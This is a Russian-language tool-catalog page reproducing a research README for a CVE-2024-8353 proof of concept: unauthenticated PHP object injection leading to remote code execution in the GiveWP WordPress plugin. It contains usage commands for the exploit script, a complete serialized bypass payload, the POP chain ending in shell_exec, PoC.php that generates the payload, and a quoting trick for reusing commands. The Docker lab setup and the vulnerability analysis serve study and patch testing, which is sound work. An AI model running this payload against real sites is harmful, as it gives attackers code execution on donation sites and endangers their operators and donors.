Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
Инструменты/GitHubGitHub/eqstlab/cve-2024-8353
Vulnerability AnalysisCode AnalysisExploitationWeb Application ExploitationPenetration TestingPayload Development
GitHubeqstlab/cve-2024-8353

CVE-2024-8353

GiveWP PHP Object Injection exploit

Репозиторий
1221 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Эта статья является исследовательской публикацией EQSTLab. Благодарность cuokon, который обнаружил эту уязвимость.

Введение

Дальнейший анализ CVE-2024-5932 EQST Insight R&T (PDF-файл).

https://github.com/user-attachments/assets/085c2f81-2894-4bb7-a3f5-62406dcb1021

CVE-2024-8353

★ CVE-2024-8353 Произвольное удаление файлов и RCE PoC ★

Описание

CVE-2024-8353: Уязвимость PHP Object Injection в GiveWP

Описание: Плагин для пожертвований и сбора средств GiveWP для WordPress уязвим к PHP Object Injection во всех версиях до 3.16.1 включительно через десериализацию непроверенных входных данных через несколько параметров, таких как give_title и card_address. Это позволяет неаутентифицированным злоумышленникам внедрить PHP-объект. Наличие дополнительной цепочки POP позволяет злоумышленникам удалять произвольные файлы и выполнять удаленный код. Это, по сути, та же уязвимость, что и CVE-2024-5932, однако было обнаружено, что наличие stripslashes_deep для user_info позволяет обойти проверку is_serialized. Эта проблема была в основном исправлена в версии 3.16.1, но в версии 3.16.2 были добавлены дополнительные средства защиты.

Как использовать

⚠️При использовании PoC вы можете использовать одну и ту же команду только один раз, потому что "give_title" сохраняется в базе данных и проверяется на дубликаты. В этом случае вы можете использовать некоторые трюки Linux, особенно кавычки. Например, если вы используете "echo", вы можете повторно использовать его, написав "e''cho".

Клонирование Git

root@kitploit:~
git clone https://github.com/EQSTLab/CVE-2024-8353.git
cd CVE-2024-8353

Установка пакетов

root@kitploit:~
pip install -r requirements.txt

Команда

root@kitploit:~
# Удаленное выполнение кода
python CVE-2024-8353.py -u <URL_TO_EXPLOIT> -c <COMMAND_TO_EXECUTE>

Пример

root@kitploit:~
python CVE-2024-8353.py -u http://example.com/2024/08/24/donation2/ -c "touch /tmp/test"

Вывод

CVE-2024-8353.py alt text alt text

Результат

alt text

Уязвимая среда

1. docker-compose.yml

root@kitploit:~
services:
  db:
    image: mysql:8.0.27
    command: '--default-authentication-plugin=mysql_native_password'
    restart: always
    environment:
      - MYSQL_ROOT_PASSWORD=somewordpress
      - MYSQL_DATABASE=wordpress
      - MYSQL_USER=wordpress
      - MYSQL_PASSWORD=wordpress
    expose:
      - 3306
      - 33060
  wordpress:
    image: wordpress:6.3.2
    ports:
      - 80:80
    restart: always
    environment:
      - WORDPRESS_DB_HOST=db
      - WORDPRESS_DB_USER=wordpress
      - WORDPRESS_DB_PASSWORD=wordpress
      - WORDPRESS_DB_NAME=wordpress
volumes:
  db_data:

2. Затем загрузите уязвимый плагин GiveWP:

https://downloads.wordpress.org/plugin/give.3.16.0.zip

3. Распакуйте zip-файл плагина GiveWP и скопируйте всю папку в каталог "/var/www/html/wp-content/plugins".

root@kitploit:~
docker cp give docker-wordpress-1:/var/www/html/wp-content/plugins

4. Активируйте плагин GiveWP

alt text

5. Добавьте новую запись с помощью плагина GiveWP и скопируйте ссылку на запись

alt text

6. Проверьте уязвимую ссылку

alt text

Отладка через PHPSTORM

Вы можете отлаживать свой GiveWP с помощью PHPSTORM.

1. Установите xdebug в ваш WordPress (Docker):

root@kitploit:~
pecl install xdebug

2. Затем настройте файл php.ini WordPress следующим образом (Docker):

root@kitploit:~
[DEBUG]
zend_extension=/usr/local/lib/php/extensions/no-debug-non-zts-20200930/xdebug.so
xdebug.mode=debug
xdebug.start_with_request=trigger
xdebug.remote_enable=on
xdebug.remote_handler=dbgp
xdebug.client_host={your_PHPSTORM_address}
xdebug.client_port={your_PHPSTORM_debugging_port}
xdebug.idekey=PHPSTORM
xdebug.profiler_enable_trigger=1
xdebug.trace_enable_trigger=1

..Затем вы можете отлаживать свой WordPress.

3. Настройте PHPSTORM следующим образом (локально):

alt text alt text

4. Пример PHPSTORM (например, произвольное удаление файлов TCPDF)

alt text

Анализ

Уязвимое место (give/includes/process-donation.php)

По сути, последовательность такая же, как и в CVE-2024-5932, с той разницей, что логика "is_serialized" также добавлена к параметру "give_title". Метод определяет, что если в индексе 1 нет знака :(двоеточия), данные не сериализованы.

alt text

После метода "is_serialized" функция "stripslashes_deep" удаляет обратную косую черту. Таким образом, начальная обратная косая черта () удаляется, и передаются сериализованные данные.

alt text

Payload для обхода

root@kitploit:~
\O:19:"Stripe\\\\StripeObject":1:{s:10:"\0*\0_values";a:1:{s:3:"foo";O:62:"Give\\\\PaymentGateways\\\\DataTransferObjects\\\\GiveInsertPaymentData":1:{s:8:"userInfo";a:1:{s:7:"address";O:4:"Give":1:{s:12:"\0*\0container";O:33:"Give\\\\Vendors\\\\Faker\\\\ValidGenerator":3:{s:12:"\0*\0validator";s:10:"shell_exec";s:12:"\0*\0generator";O:34:"Give\\\\Onboarding\\\\SettingsRepository":1:{s:11:"\0*\0settings";a:1:{s:8:"address1";s:15:"touch+/tmp/test";}}s:13:"\0*\0maxRetries";i:10;}}}}}}

Цепочка POP для RCE

Stripe\StripeObject->__toString()

Stripe\StripeObject->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->toArray()

Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData->getLegacyBillingAddress()

Give->__get('address1')

\Give\Vendors\Faker\ValidGenerator->get('address1')

\Give\Vendors\Faker\ValidGenerator->__call('get', 'address1')

Give\Onboarding\SettingsRepository->get('address1') (Возвращает строку команды)

call_user_func('shell_exec', 'command')

PoC.php

root@kitploit:~
<?php
namespace Stripe{
	class StripeObject
	{
		protected $_values;
		public function __construct(){
			$this->_values['foo'] = new \Give\PaymentGateways\DataTransferObjects\GiveInsertPaymentData();
		}
	}
}

namespace Give\PaymentGateways\DataTransferObjects{
	class GiveInsertPaymentData{
    public $userInfo;
		public function __construct()
    {
        $this->userInfo['address'] = new \Give();
    } 
	}
}	

namespace{
	class Give{
		protected $container;
		public function __construct()
		{
			$this->container = new \Give\Vendors\Faker\ValidGenerator();
		}
	}
}

namespace Give\Vendors\Faker{
	class ValidGenerator{
		protected $validator;
		protected $generator;
		public function __construct()
		{
			$this->validator = "shell_exec";
			$this->generator = new \Give\Onboarding\SettingsRepository();
		}
	}
}

namespace Give\Onboarding{
	class SettingsRepository{
		protected $settings;
		public function __construct()
		{
			$this -> settings['address1'] = 'touch /tmp/EQSTtest';
		}
	}
}

namespace{
	$a = new Stripe\StripeObject();
	echo serialize($a);
}

Сценарий атаки

RCE через POP-цепочку

POP-цепочка позволяет выполнять удаленные команды. alt text

URL: https://www.wordfence.com/blog/2024/08/4998-bounty-awarded-and-100000-wordpress-sites-protected-against-unauthenticated-remote-code-execution-vulnerability-patched-in-givewp-wordpress-plugin/

Отказ от ответственности

Этот репозиторий не предназначен для использования эксплойта Object injection для CVE-2024-8353. Цель этого проекта — помочь людям изучить эту уязвимость и, возможно, протестировать свои собственные приложения.

EQST Insight

Мы публикуем анализ CVE и вредоносного ПО раз в месяц. Если вам это интересно, перейдите по ссылкам ниже, чтобы ознакомиться с нашими публикациями. https://www.skshieldus.com/eng/business/insight.do

Скачать инструмент